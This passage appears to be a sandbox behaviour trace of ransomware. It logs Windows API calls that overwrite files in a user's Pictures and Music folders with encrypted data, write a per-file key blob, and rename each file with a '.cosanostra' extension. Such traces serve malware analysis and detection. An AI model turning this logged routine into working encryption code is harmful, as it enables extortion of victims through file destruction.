lpOverlapped=0x0) returned 1 [0097.622] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.622] WriteFile (in: hFile=0x138, lpBuffer=0x2abf08c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf04c, lpOverlapped=0x0 | out: lpBuffer=0x2abf08c*, lpNumberOfBytesWritten=0x2abf04c*=0x4, lpOverlapped=0x0) returned 1 [0097.622] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf04c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf04c*=0x30, lpOverlapped=0x0) returned 1 [0097.622] CloseHandle (hObject=0x138) returned 1 [0097.622] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\HpAC-z3OpW4Zh.gif.cosanostra") returned 76 [0097.622] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\HpAC-z3OpW4Zh.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\hpac-z3opw4zh.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5lJH\\HpAC-z3OpW4Zh.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5ljh\\hpac-z3opw4zh.gif.cosanostra")) returned 1 [0097.623] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf090 | out: pbBuffer=0x2abf090) returned 1 [0097.623] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf088*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf088*=0x30) returned 1 [0097.623] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.623] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf088 | out: pbBuffer=0x2abf088) returned 1 [0097.623] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf080*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf080*=0x30) returned 1 [0097.623] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.623] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf088 | out: pbBuffer=0x2abf088) returned 1 [0097.624] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf080*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf080*=0x30) returned 1 [0097.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.624] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned 44 [0097.624] StrStrW (lpFirst="ntuser.ini", lpSrch=".txt") returned 0x0 [0097.625] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.625] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2abf044, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf044*=0x14, lpOverlapped=0x0) returned 1 [0097.625] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.625] WriteFile (in: hFile=0x138, lpBuffer=0x2abf084*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf044, lpOverlapped=0x0 | out: lpBuffer=0x2abf084*, lpNumberOfBytesWritten=0x2abf044*=0x4, lpOverlapped=0x0) returned 1 [0097.626] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf044, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf044*=0x30, lpOverlapped=0x0) returned 1 [0097.626] CloseHandle (hObject=0x138) returned 1 [0097.626] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.cosanostra") returned 55 [0097.626] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini.cosanostra")) returned 1 [0097.629] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf080 | out: pbBuffer=0x2abf080) returned 1 [0097.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf078*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf078*=0x30) returned 1 [0097.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.629] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf080 | out: pbBuffer=0x2abf080) returned 1 [0097.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf078*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf078*=0x30) returned 1 [0097.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.630] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf078 | out: pbBuffer=0x2abf078) returned 1 [0097.631] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf070*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf070*=0x30) returned 1 [0097.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.631] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf078 | out: pbBuffer=0x2abf078) returned 1 [0097.631] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf070*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf070*=0x30) returned 1 [0097.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.631] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf070 | out: pbBuffer=0x2abf070) returned 1 [0097.631] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf068*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf068*=0x30) returned 1 [0097.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.631] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf070 | out: pbBuffer=0x2abf070) returned 1 [0097.631] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf068*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf068*=0x30) returned 1 [0097.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.645] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf058 | out: pbBuffer=0x2abf058) returned 1 [0097.645] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf050*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf050*=0x30) returned 1 [0097.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\M3QW8WO75MU.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\m3qw8wo75mu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.646] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\M3QW8WO75MU.wav") returned 93 [0097.646] StrStrW (lpFirst="M3QW8WO75MU.wav", lpSrch=".txt") returned 0x0 [0097.647] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.647] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf014, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf014*=0x2800, lpOverlapped=0x0) returned 1 [0097.647] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.647] WriteFile (in: hFile=0x138, lpBuffer=0x2abf054*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf014, lpOverlapped=0x0 | out: lpBuffer=0x2abf054*, lpNumberOfBytesWritten=0x2abf014*=0x4, lpOverlapped=0x0) returned 1 [0097.647] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf014, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf014*=0x30, lpOverlapped=0x0) returned 1 [0097.648] CloseHandle (hObject=0x138) returned 1 [0097.648] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\M3QW8WO75MU.wav.cosanostra") returned 104 [0097.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\M3QW8WO75MU.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\m3qw8wo75mu.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\M3QW8WO75MU.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\m3qw8wo75mu.wav.cosanostra")) returned 1 [0097.649] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf058 | out: pbBuffer=0x2abf058) returned 1 [0097.649] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf050*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf050*=0x30) returned 1 [0097.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\j_hj.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\j_hj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.649] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\j_hj.mp3") returned 86 [0097.649] StrStrW (lpFirst="j_hj.mp3", lpSrch=".txt") returned 0x0 [0097.650] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.650] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf014, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf014*=0x2800, lpOverlapped=0x0) returned 1 [0097.650] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.650] WriteFile (in: hFile=0x138, lpBuffer=0x2abf054*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf014, lpOverlapped=0x0 | out: lpBuffer=0x2abf054*, lpNumberOfBytesWritten=0x2abf014*=0x4, lpOverlapped=0x0) returned 1 [0097.651] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf014, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf014*=0x30, lpOverlapped=0x0) returned 1 [0097.651] CloseHandle (hObject=0x138) returned 1 [0097.651] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\j_hj.mp3.cosanostra") returned 97 [0097.651] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\j_hj.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\j_hj.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\j_hj.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\j_hj.mp3.cosanostra")) returned 1 [0097.652] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf050 | out: pbBuffer=0x2abf050) returned 1 [0097.652] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf048*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf048*=0x30) returned 1 [0097.652] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\E-XSkJU6sp7kcNv.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\e-xskju6sp7kcnv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.652] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\E-XSkJU6sp7kcNv.mp3") returned 97 [0097.652] StrStrW (lpFirst="E-XSkJU6sp7kcNv.mp3", lpSrch=".txt") returned 0x0 [0097.653] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf00c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf00c*=0x2800, lpOverlapped=0x0) returned 1 [0097.655] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x2abf04c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf00c, lpOverlapped=0x0 | out: lpBuffer=0x2abf04c*, lpNumberOfBytesWritten=0x2abf00c*=0x4, lpOverlapped=0x0) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf00c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf00c*=0x30, lpOverlapped=0x0) returned 1 [0097.655] CloseHandle (hObject=0x138) returned 1 [0097.656] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\E-XSkJU6sp7kcNv.mp3.cosanostra") returned 108 [0097.656] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\E-XSkJU6sp7kcNv.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\e-xskju6sp7kcnv.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\E-XSkJU6sp7kcNv.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\e-xskju6sp7kcnv.mp3.cosanostra")) returned 1 [0097.656] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf050 | out: pbBuffer=0x2abf050) returned 1 [0097.657] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf048*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf048*=0x30) returned 1 [0097.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\6eolNE9-_ V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\6eolne9-_ v.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.657] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\6eolNE9-_ V.mp3") returned 93 [0097.657] StrStrW (lpFirst="6eolNE9-_ V.mp3", lpSrch=".txt") returned 0x0 [0097.658] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.658] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf00c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf00c*=0x2800, lpOverlapped=0x0) returned 1 [0097.658] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.658] WriteFile (in: hFile=0x138, lpBuffer=0x2abf04c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf00c, lpOverlapped=0x0 | out: lpBuffer=0x2abf04c*, lpNumberOfBytesWritten=0x2abf00c*=0x4, lpOverlapped=0x0) returned 1 [0097.658] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf00c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf00c*=0x30, lpOverlapped=0x0) returned 1 [0097.658] CloseHandle (hObject=0x138) returned 1 [0097.658] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\6eolNE9-_ V.mp3.cosanostra") returned 104 [0097.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\6eolNE9-_ V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\6eolne9-_ v.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\qeAZTW\\6eolNE9-_ V.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\qeaztw\\6eolne9-_ v.mp3.cosanostra")) returned 1 [0097.660] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf048 | out: pbBuffer=0x2abf048) returned 1 [0097.660] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf040*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf040*=0x30) returned 1 [0097.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\vWyQWkq6q.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\vwyqwkq6q.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.661] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\vWyQWkq6q.mp3") returned 101 [0097.661] StrStrW (lpFirst="vWyQWkq6q.mp3", lpSrch=".txt") returned 0x0 [0097.662] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe713, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.662] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x18ed, lpNumberOfBytesWritten=0x2abf004, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf004*=0x18ed, lpOverlapped=0x0) returned 1 [0097.662] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.666] WriteFile (in: hFile=0x138, lpBuffer=0x2abf044*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf004, lpOverlapped=0x0 | out: lpBuffer=0x2abf044*, lpNumberOfBytesWritten=0x2abf004*=0x4, lpOverlapped=0x0) returned 1 [0097.667] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf004, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf004*=0x30, lpOverlapped=0x0) returned 1 [0097.667] CloseHandle (hObject=0x138) returned 1 [0097.667] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\vWyQWkq6q.mp3.cosanostra") returned 112 [0097.667] MoveFileW 